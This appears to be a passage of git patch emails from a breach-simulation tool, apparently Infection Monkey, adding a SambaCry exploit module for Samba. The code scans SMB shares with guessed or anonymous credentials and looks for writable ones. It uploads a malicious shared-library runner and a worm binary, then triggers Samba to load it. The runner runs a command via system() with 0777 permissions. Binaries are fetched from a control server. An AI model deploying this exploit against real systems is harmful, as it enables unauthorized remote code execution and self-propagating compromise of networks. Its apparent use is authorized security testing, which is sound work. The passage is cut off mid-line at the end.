COMMANDLINE_FILENAME[] = "monkey_commandline.txt"; const char ACCESS_MODE_STRING[] = "0777"; const char RUN_MONKEY_CMD[] = "sudo ./"; @@ -83,6 +83,16 @@ int samba_init_module(void) return 0; } + // Write file to indicate we're running + pFile = fopen(RUNNER_RESULT_FILENAME, "w"); + if (pFile == NULL) + { + return 0; + } + + fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile); + fclose(pFile); + // Read commandline pFile = fopen(COMMANDLINE_FILENAME, "r"); if (pFile == NULL) @@ -106,12 +116,12 @@ int samba_init_module(void) return 0; } - if (0 != fseek (pFile , 0 , SEEK_END)) + if (0 != fseek (pFile, 0 ,SEEK_END)) { return 0; } - monkeySize = ftell (pFile); + monkeySize = ftell(pFile); if (-1 == monkeySize) { @@ -131,19 +141,24 @@ int samba_init_module(void) fclose(pFile); pFile = fopen(MONKEY_COPY_NAME, "wb"); + if (pFile == NULL) + { + free(monkeyBinary); + return 0; + } fwrite(monkeyBinary, 1, monkeySize, pFile); fclose(pFile); free(monkeyBinary); // Change monkey permissions accessMode = strtol(ACCESS_MODE_STRING, 0, 8); - if (chmod (MONKEY_COPY_NAME, accessMode) < 0) + if (chmod(MONKEY_COPY_NAME, accessMode) < 0) { return 0; } system(commandline); - + return 0; } diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.h b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h similarity index 100% rename from chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.h rename to chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h From bb4a168f41b3626ee1dcc10a61bda8e582d4a5f4 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 31 Aug 2017 17:56:35 +0300 Subject: [PATCH 11/32] fix linux paths on spec --- chaos_monkey/monkey-linux.spec | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/chaos_monkey/monkey-linux.spec b/chaos_monkey/monkey-linux.spec index d11f999f5..c8c4c631b 100644 --- a/chaos_monkey/monkey-linux.spec +++ b/chaos_monkey/monkey-linux.spec @@ -15,8 +15,8 @@ a = Analysis(['main.py'], win_private_assemblies=None, cipher=block_cipher) -a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] -a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] +a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')] +a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')] pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) From 5de433eae0df65340faf9fc19caae852a1ea2504 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 31 Aug 2017 18:40:42 +0300 Subject: [PATCH 12/32] sambacry works default monkey binary in linux is now 64bit --- chaos_monkey/exploit/sambacry.py | 7 +++---- monkey_island/cc/main.py | 2 +- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index cdee14dd8..708898129 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -74,8 +74,7 @@ class SambaCryExploiter(HostExploiter): trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share]) if trigger_result is not None: successfully_triggered_shares.append((share, trigger_result)) - # TODO: uncomment - #self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) + self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) # TODO: send telemetry @@ -117,10 +116,10 @@ class SambaCryExploiter(HostExploiter): tree_id = smb_client.connectTree(share) file_content = None try: - file_id = smb_client.openFile(share, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA) + file_id = smb_client.openFile(tree_id, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA) file_content = smb_client.readFile(tree_id, file_id) smb_client.closeFile(tree_id, file_id) - except (impacket.smbconnection.SessionError, SessionError) as e: + except (impacket.smbconnection.SessionError, SessionError): pass smb_client.disconnectTree(tree_id) diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index 9641e2ae3..cd2da3940 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -30,7 +30,7 @@ MONKEY_DOWNLOADS = [ }, { 'type': 'linux', - 'filename': 'monkey-linux-32', + 'filename': 'monkey-linux-64', }, { 'type': 'windows', From c612ea0361e2b68eb6245e59523dab11e8170d32 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 31 Aug 2017 20:03:32 +0300 Subject: [PATCH 13/32] Documented sambacry, moved everything to configuration, minor fixes --- chaos_monkey/config.py | 25 ++++- chaos_monkey/example.conf | 15 ++- chaos_monkey/exploit/sambacry.py | 162 ++++++++++++++++++------------- 3 files changed, 134 insertions(+), 68 deletions(-) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index 659f26120..d8889f1c5 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -220,10 +220,33 @@ class Configuration(object): smb_download_timeout = 300 # timeout in seconds smb_service_name = "InfectionMonkey" + # Timeout (in seconds) for sambacry's trigger to yield results. + sambacry_trigger_timeout = 5 + # Folder paths to guess share lies inside. + sambacry_folder_paths_to_guess = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'] + # Shares to not check if they're writable. + sambacry_shares_not_to_check = ["IPC$", "print$"] + # Name of file which contains the monkey's commandline + sambacry_commandline_filename = "monkey_commandline.txt" + # Name of file which contains the runner's result + sambacry_runner_result_filename = "monkey_runner_result" + # SambaCry runner filename (32 bit) + sambacry_runner_filename_32 = "sc_monkey_runner32.so" + # SambaCry runner filename (64 bit) + sambacry_runner_filename_64 = "sc_monkey_runner64.so" + # Monkey filename on share (32 bit) + sambacry_monkey_filename_32 = "monkey32" + # Monkey filename on share (64 bit) + sambacry_monkey_filename_64 = "monkey64" + # Monkey copy filename on share (32 bit) + sambacry_monkey_copy_filename_32 = "monkey32_2" + # Monkey copy filename on share (64 bit) + sambacry_monkey_copy_filename_64 = "monkey64_2" + + # system info collection collect_system_info = True - ########################### # systeminfo config ########################### diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index b8131fc61..4612263cb 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -58,9 +58,20 @@ "serialize_config": false, "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "skip_exploit_if_file_exist": true, - "local_network_scan": true, "exploit_user_list": [], - "exploit_password_list" = [] + "exploit_password_list": [], + sambacry_trigger_timeout: 5, + sambacry_folder_paths_to_guess: ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'], + sambacry_shares_not_to_check: ["IPC$", "print$"], + sambacry_commandline_filename: "monkey_commandline.txt", + sambacry_runner_result_filename: "monkey_runner_result", + sambacry_runner_filename_32: "sc_monkey_runner32.so", + sambacry_runner_filename_64: "sc_monkey_runner64.so", + sambacry_monkey_filename_32: "monkey32", + sambacry_monkey_filename_64: "monkey64", + sambacry_monkey_copy_filename_32: "monkey32_2", + sambacry_monkey_copy_filename_64: "monkey64_2", + "local_network_scan": false, "tcp_scan_get_banner": true, "tcp_scan_interval": 200, "tcp_scan_timeout": 10000, diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index 708898129..d0a751bbf 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -1,51 +1,36 @@ -from optparse import OptionParser -from impacket.dcerpc.v5 import transport -from os import path -import time -import sys -from io import BytesIO import logging import re -from impacket.smbconnection import SMBConnection +import sys +import time +from io import BytesIO +from os import path + import impacket.smbconnection -from impacket.smb import SessionError -from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED from impacket.nt_errors import STATUS_SUCCESS from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \ FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE -from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \ - SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA +from impacket.smb import SessionError +from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, \ + SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE +from impacket.smbconnection import SMBConnection -from exploit import HostExploiter -from exploit.tools import get_target_monkey -from network.smbfinger import SMB_SERVICE -from model import DROPPER_ARG -from tools import build_monkey_commandline import monkeyfs +from exploit import HostExploiter +from model import DROPPER_ARG +from network.smbfinger import SMB_SERVICE +from tools import build_monkey_commandline __author__ = 'itay.mizeretz' -# TODO: add documentation - -# TODO: add license credit?: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py - -# TODO: remove /home/user -# TODO: take all from config -FOLDER_PATHS_TO_GUESS = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home', '/home/user'] -RUNNER_FILENAME_32 = "sc_monkey_runner32.so" -RUNNER_FILENAME_64 = "sc_monkey_runner64.so" -COMMANDLINE_FILENAME = "monkey_commandline.txt" -MONKEY_FILENAME_32 = "monkey32" -MONKEY_FILENAME_64 = "monkey64" -MONKEY_COPY_FILENAME_32 = "monkey32_2" -MONKEY_COPY_FILENAME_64 = "monkey64_2" -RUNNER_RESULT_FILENAME = "monkey_runner_result" -SHARES_TO_NOT_CHECK = ["IPC$", "print$"] - LOG = logging.getLogger(__name__) class SambaCryExploiter(HostExploiter): + """ + SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket: + https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py + """ + # TODO: is this credit sufficient? _target_os_type = ['linux'] def __init__(self): @@ -53,20 +38,19 @@ class SambaCryExploiter(HostExploiter): def exploit_host(self, host, depth=-1, src_path=None): if not self.is_vulnerable(host): - return + return False writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr) LOG.info("Writable shares and their credentials on host %s: %s" % (host.ip_addr, str(writable_shares_creds_dict))) - # TODO: decide about ignoring src_path because of arc detection bug - src_path = src_path or get_target_monkey(host) - + host.services[SMB_SERVICE]["shares"] = {} for share in writable_shares_creds_dict: + host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]} self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth) - # TODO: config sleep time - time.sleep(5) + # Wait for samba server to load .so, execute code and create result file. + time.sleep(self._config.sambacry_trigger_timeout) successfully_triggered_shares = [] @@ -76,7 +60,8 @@ class SambaCryExploiter(HostExploiter): successfully_triggered_shares.append((share, trigger_result)) self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) - # TODO: send telemetry + for share, fullpath in successfully_triggered_shares: + host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath if len(successfully_triggered_shares) > 0: LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares))) @@ -86,6 +71,14 @@ class SambaCryExploiter(HostExploiter): return False def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth): + """ + Tries exploiting share + :param host: victim Host object + :param share: share name + :param creds: credentials to use with share + :param monkey_bin_src_path: src path of monkey binary to upload + :param depth: current depth of monkey + """ try: smb_client = self.connect_to_server(host.ip_addr, creds) self.upload_module(smb_client, host, share, monkey_bin_src_path, depth) @@ -95,12 +88,18 @@ class SambaCryExploiter(HostExploiter): LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds))) def clean_share(self, ip, share, creds): + """ + Cleans remote share of any remaining files created by monkey + :param ip: IP of victim + :param share: share name + :param creds: credentials to use with share. + """ smb_client = self.connect_to_server(ip, creds) tree_id = smb_client.connectTree(share) - file_list = [COMMANDLINE_FILENAME, RUNNER_RESULT_FILENAME, - RUNNER_FILENAME_32, RUNNER_FILENAME_64, - MONKEY_FILENAME_32, MONKEY_FILENAME_64, - MONKEY_COPY_FILENAME_32, MONKEY_COPY_FILENAME_64] + file_list = [self._config.sambacry_commandline_filename, self._config.sambacry_runner_result_filename, + self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64, + self._config.sambacry_monkey_filename_32, self._config.sambacry_monkey_filename_64, + self._config.sambacry_monkey_copy_filename_32, self._config.sambacry_monkey_copy_filename_64] for filename in file_list: try: @@ -112,11 +111,19 @@ class SambaCryExploiter(HostExploiter): smb_client.close() def get_trigger_result(self, ip, share, creds): + """ + Checks if the trigger yielded any result and returns it. + :param ip: IP of victim + :param share: share name + :param creds: credentials to use with share. + :return: result of trigger if there was one. None otherwise + """ smb_client = self.connect_to_server(ip, creds) tree_id = smb_client.connectTree(share) file_content = None try: - file_id = smb_client.openFile(tree_id, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA) + file_id = smb_client.openFile(tree_id, "\\%s" % self._config.sambacry_runner_result_filename, + desiredAccess=FILE_READ_DATA) file_content = smb_client.readFile(tree_id, file_id) smb_client.closeFile(tree_id, file_id) except (impacket.smbconnection.SessionError, SessionError): @@ -127,7 +134,11 @@ class SambaCryExploiter(HostExploiter): return file_content def get_writable_shares_creds_dict(self, ip): - # TODO: document + """ + Gets dictionary of writable shares and their credentials + :param ip: IP address of the victim + :return: Dictionary of writable shares and their corresponding credentials. + """ writable_shares_creds_dict = {} credentials_list = self.get_credentials_list() @@ -163,13 +174,18 @@ class SambaCryExploiter(HostExploiter): def list_shares(self, smb_client): shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] - for share in SHARES_TO_NOT_CHECK: + for share in self._config.sambacry_shares_not_to_check: if share in shares: shares.remove(share) return shares def is_vulnerable(self, host): + """ + Checks whether the victim runs a possibly vulnerable version of samba + :param host: victim Host object + :return: True if victim is vulnerable, False otherwise + """ if SMB_SERVICE not in host.services: LOG.info("Host: %s doesn't have SMB open" % host.ip_addr) return False @@ -199,6 +215,12 @@ class SambaCryExploiter(HostExploiter): return is_vulnerable def is_share_writable(self, smb_client, share): + """ + Checks whether the share is writable + :param smb_client: smb client object + :param share: share name + :return: True if share is writable, False otherwise. + """ LOG.debug('Checking %s for write access' % share) try: tree_id = smb_client.connectTree(share) @@ -217,20 +239,28 @@ class SambaCryExploiter(HostExploiter): return writable def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth): + """ + Uploads the module and all relevant files to server + :param smb_client: smb client object + :param host: victim Host object + :param share: share name + :param monkey_bin_src_path: src path of monkey binary to upload + :param depth: current depth of monkey + """ tree_id = smb_client.connectTree(share) with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file: - smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, monkey_commandline_file.read) + smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read) with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: - smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_32, monkey_runner_bin_file.read) + smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_32, monkey_runner_bin_file.read) with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: - smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_64, monkey_runner_bin_file.read) + smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read) with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file: # TODO: Fix or postpone 32/64 architecture problem. - smb_client.putFile(share, "\\%s" % MONKEY_FILENAME_64, monkey_bin_file.read) + smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read) smb_client.disconnectTree(tree_id) @@ -246,9 +276,15 @@ class SambaCryExploiter(HostExploiter): credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) return smb_client - def trigger_module(self, smb_client, share_name): + def trigger_module(self, smb_client, share): + """ + Tries triggering module + :param smb_client: smb client object + :param share: share name + :return: True if might triggered successfully, False otherwise. + """ trigger_might_succeeded = False - module_possible_paths = self.generate_module_possible_paths(share_name) + module_possible_paths = self.generate_module_possible_paths(share) for module_path in module_possible_paths: trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path) @@ -270,13 +306,11 @@ class SambaCryExploiter(HostExploiter): if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: return True else: - # TODO: remove print - print str(e) + pass return False - @staticmethod - def generate_module_possible_paths(share_name): + def generate_module_possible_paths(self, share_name): """ Generates array of possible paths :param share_name: Name of the share @@ -284,21 +318,19 @@ class SambaCryExploiter(HostExploiter): """ possible_paths = [] - for folder_path in FOLDER_PATHS_TO_GUESS: - for file_name in [RUNNER_FILENAME_32, RUNNER_FILENAME_64]: + for folder_path in self._config.sambacry_folder_paths_to_guess: + for file_name in [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]: possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name)) return possible_paths - @staticmethod - def get_monkey_runner_bin_file(is_32bit): + def get_monkey_runner_bin_file(self, is_32bit): if is_32bit: - return open(path.join(sys._MEIPASS, RUNNER_FILENAME_32), "rb") + return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_32), "rb") else: - return open(path.join(sys._MEIPASS, RUNNER_FILENAME_64), "rb") + return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_64), "rb") - @staticmethod - def get_monkey_commandline_file(host, depth, location): + def get_monkey_commandline_file(self, host, depth, location): return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location)) # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # From c8d7a2c4d3be1ca0388cbe6327fb310fe6cf1fde Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 3 Sep 2017 11:50:01 +0300 Subject: [PATCH 14/32] SambaCry now works for both 32,64bit --- chaos_monkey/control.py | 98 +++++++++++++++++++++++++------- chaos_monkey/exploit/sambacry.py | 21 ++++--- chaos_monkey/exploit/tools.py | 3 + 3 files changed, 93 insertions(+), 29 deletions(-) diff --git a/chaos_monkey/control.py b/chaos_monkey/control.py index cdeb47a76..c2acaa25a 100644 --- a/chaos_monkey/control.py +++ b/chaos_monkey/control.py @@ -156,11 +156,80 @@ class ControlClient(object): @staticmethod def download_monkey_exe(host): + filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host) + if filename is None: + return None + return ControlClient.download_monkey_exe_by_filename(filename, size) + + @staticmethod + def download_monkey_exe_by_os(is_windows, is_32bit): + filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict( + ControlClient.spoof_host_os_info(is_windows, is_32bit)) + if filename is None: + return None + return ControlClient.download_monkey_exe_by_filename(filename, size) + + @staticmethod + def spoof_host_os_info(is_windows, is_32bit): + if is_windows: + os = "windows" + if is_32bit: + arc = "x86" + else: + arc = "amd64" + else: + os = "linux" + if is_32bit: + arc = "i686" + else: + arc = "x86_64" + + return \ + { + "os": + { + "type": os, + "machine": arc + } + } + + @staticmethod + def download_monkey_exe_by_filename(filename, size): if not WormConfiguration.current_server: - return None + return None + try: + dest_file = monkeyfs.virtual_path(filename) + if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): + return dest_file + else: + download = requests.get("https://%s/api/monkey/download/%s" % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) + + with monkeyfs.open(dest_file, 'wb') as file_obj: + for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): + if chunk: + file_obj.write(chunk) + file_obj.flush() + if size == monkeyfs.getsize(dest_file): + return dest_file + + except Exception, exc: + LOG.warn("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) + + @staticmethod + def get_monkey_exe_filename_and_size_by_host(host): + return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict()) + + @staticmethod + def get_monkey_exe_filename_and_size_by_host_dict(host_dict): + if not WormConfiguration.current_server: + return None, None try: reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), - data=json.dumps(host.as_dict()), + data=json.dumps(host_dict), headers={'content-type': 'application/json'}, verify=False, proxies=ControlClient.proxies) @@ -168,30 +237,17 @@ class ControlClient(object): result_json = reply.json() filename = result_json.get('filename') if not filename: - return None + return None, None size = result_json.get('size') - dest_file = monkeyfs.virtual_path(filename) - if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file): - return dest_file - else: - download = requests.get("https://%s/api/monkey/download/%s" % - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies) - - with monkeyfs.open(dest_file, 'wb') as file_obj: - for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): - if chunk: - file_obj.write(chunk) - file_obj.flush() - if size == monkeyfs.getsize(dest_file): - return dest_file + return filename, size + else: + return None, None except Exception, exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) - - return None + + return None, None @staticmethod def create_control_tunnel(): diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index d0a751bbf..ff4fe41cc 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -18,7 +18,7 @@ import monkeyfs from exploit import HostExploiter from model import DROPPER_ARG from network.smbfinger import SMB_SERVICE -from tools import build_monkey_commandline +from tools import build_monkey_commandline, get_target_monkey_by_os __author__ = 'itay.mizeretz' @@ -30,12 +30,12 @@ class SambaCryExploiter(HostExploiter): SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py """ - # TODO: is this credit sufficient? _target_os_type = ['linux'] def __init__(self): self._config = __import__('config').WormConfiguration + def exploit_host(self, host, depth=-1, src_path=None): if not self.is_vulnerable(host): return False @@ -47,7 +47,7 @@ class SambaCryExploiter(HostExploiter): host.services[SMB_SERVICE]["shares"] = {} for share in writable_shares_creds_dict: host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]} - self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth) + self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth) # Wait for samba server to load .so, execute code and create result file. time.sleep(self._config.sambacry_trigger_timeout) @@ -70,7 +70,7 @@ class SambaCryExploiter(HostExploiter): LOG.info("No shares triggered successfully on host %s" % host.ip_addr) return False - def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth): + def try_exploit_share(self, host, share, creds, depth): """ Tries exploiting share :param host: victim Host object @@ -81,7 +81,7 @@ class SambaCryExploiter(HostExploiter): """ try: smb_client = self.connect_to_server(host.ip_addr, creds) - self.upload_module(smb_client, host, share, monkey_bin_src_path, depth) + self.upload_module(smb_client, host, share, depth) self.trigger_module(smb_client, share) smb_client.close() except (impacket.smbconnection.SessionError, SessionError): @@ -238,7 +238,7 @@ class SambaCryExploiter(HostExploiter): return writable - def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth): + def upload_module(self, smb_client, host, share, depth): """ Uploads the module and all relevant files to server :param smb_client: smb client object @@ -258,8 +258,13 @@ class SambaCryExploiter(HostExploiter): with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read) - with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file: - # TODO: Fix or postpone 32/64 architecture problem. + monkey_bin_32_src_path = get_target_monkey_by_os(False, True) + monkey_bin_64_src_path = get_target_monkey_by_os(False, False) + + with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file: + smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_32, monkey_bin_file.read) + + with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read) smb_client.disconnectTree(tree_id) diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index 2ed5837f9..97ed8cb8b 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -442,6 +442,9 @@ def get_target_monkey(host): return monkey_path +def get_target_monkey_by_os(is_windows, is_32bit): + from control import ControlClient + return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) def build_monkey_commandline(target_host, depth, location=None): from config import WormConfiguration, GUID From cc889f9124713e1d84e58f009350fe03abbdcbb6 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 4 Sep 2017 14:52:24 +0300 Subject: [PATCH 15/32] Fix CR --- chaos_monkey/control.py | 10 +-- chaos_monkey/dropper.py | 21 +++--- chaos_monkey/exploit/sambacry.py | 45 +++++------- chaos_monkey/exploit/tools.py | 38 +++++++--- .../sambacry_monkey_runner/sc_monkey_runner.c | 73 +++++++++---------- 5 files changed, 91 insertions(+), 96 deletions(-) diff --git a/chaos_monkey/control.py b/chaos_monkey/control.py index c2acaa25a..2b440476c 100644 --- a/chaos_monkey/control.py +++ b/chaos_monkey/control.py @@ -174,22 +174,22 @@ class ControlClient(object): if is_windows: os = "windows" if is_32bit: - arc = "x86" + arch = "x86" else: - arc = "amd64" + arch = "amd64" else: os = "linux" if is_32bit: - arc = "i686" + arch = "i686" else: - arc = "x86_64" + arch = "x86_64" return \ { "os": { "type": os, - "machine": arc + "machine": arch } } diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index d624775c6..e56cc0a12 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -8,6 +8,8 @@ import logging import subprocess import argparse from ctypes import c_char_p + +from exploit.tools import build_monkey_commandline_explicitly from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from config import WormConfiguration from system_info import SystemInfoCollector, OperatingSystem @@ -44,7 +46,7 @@ class MonkeyDrops(object): def start(self): if self._config['destination_path'] is None: - # TODO: log or something. + LOG.error("No destination path specified") return # we copy/move only in case path is different @@ -93,23 +95,18 @@ class MonkeyDrops(object): except: LOG.warn("Cannot set reference date to destination file") - monkey_options = "" - if self.opts.parent: - monkey_options += " -p %s" % self.opts.parent - if self.opts.tunnel: - monkey_options += " -t %s" % self.opts.tunnel - if self.opts.server: - monkey_options += " -s %s" % self.opts.server - if self.opts.depth: - monkey_options += " -d %s" % self.opts.depth + monkey_options = build_monkey_commandline_explicitly( + self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options else: dest_path = self._config['destination_path'] - monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options + # In linux we have a more complex commandline. There's a general outer one, and the inner one which actually + # runs the monkey + inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")], - 'monkey_commandline': monkey_cmdline} + 'monkey_commandline': inner_monkey_cmdline} monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index ff4fe41cc..68d1ab1a3 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -4,6 +4,8 @@ import sys import time from io import BytesIO from os import path +import itertools +import posixpath import impacket.smbconnection from impacket.nt_errors import STATUS_SUCCESS @@ -18,7 +20,7 @@ import monkeyfs from exploit import HostExploiter from model import DROPPER_ARG from network.smbfinger import SMB_SERVICE -from tools import build_monkey_commandline, get_target_monkey_by_os +from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path __author__ = 'itay.mizeretz' @@ -76,7 +78,6 @@ class SambaCryExploiter(HostExploiter): :param host: victim Host object :param share: share name :param creds: credentials to use with share - :param monkey_bin_src_path: src path of monkey binary to upload :param depth: current depth of monkey """ try: @@ -148,11 +149,7 @@ class SambaCryExploiter(HostExploiter): shares = self.list_shares(smb_client) # don't try shares we can already write to. - for writable_share in writable_shares_creds_dict: - if writable_share in shares: - shares.remove(writable_share) - - for share in shares: + for share in [x for x in shares if x not in writable_shares_creds_dict]: if self.is_share_writable(smb_client, share): writable_shares_creds_dict[share] = credentials @@ -165,6 +162,8 @@ class SambaCryExploiter(HostExploiter): def get_credentials_list(self): user_password_pairs = self._config.get_exploit_user_password_pairs() + + # Add empty credentials for anonymous shares. credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] for user, password in user_password_pairs: @@ -174,11 +173,7 @@ class SambaCryExploiter(HostExploiter): def list_shares(self, smb_client): shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] - for share in self._config.sambacry_shares_not_to_check: - if share in shares: - shares.remove(share) - - return shares + return [x for x in shares if x not in self._config.sambacry_shares_not_to_check] def is_vulnerable(self, host): """ @@ -209,8 +204,8 @@ class SambaCryExploiter(HostExploiter): elif (samba_version_parts[0] == "4") and (samba_version_parts[1] 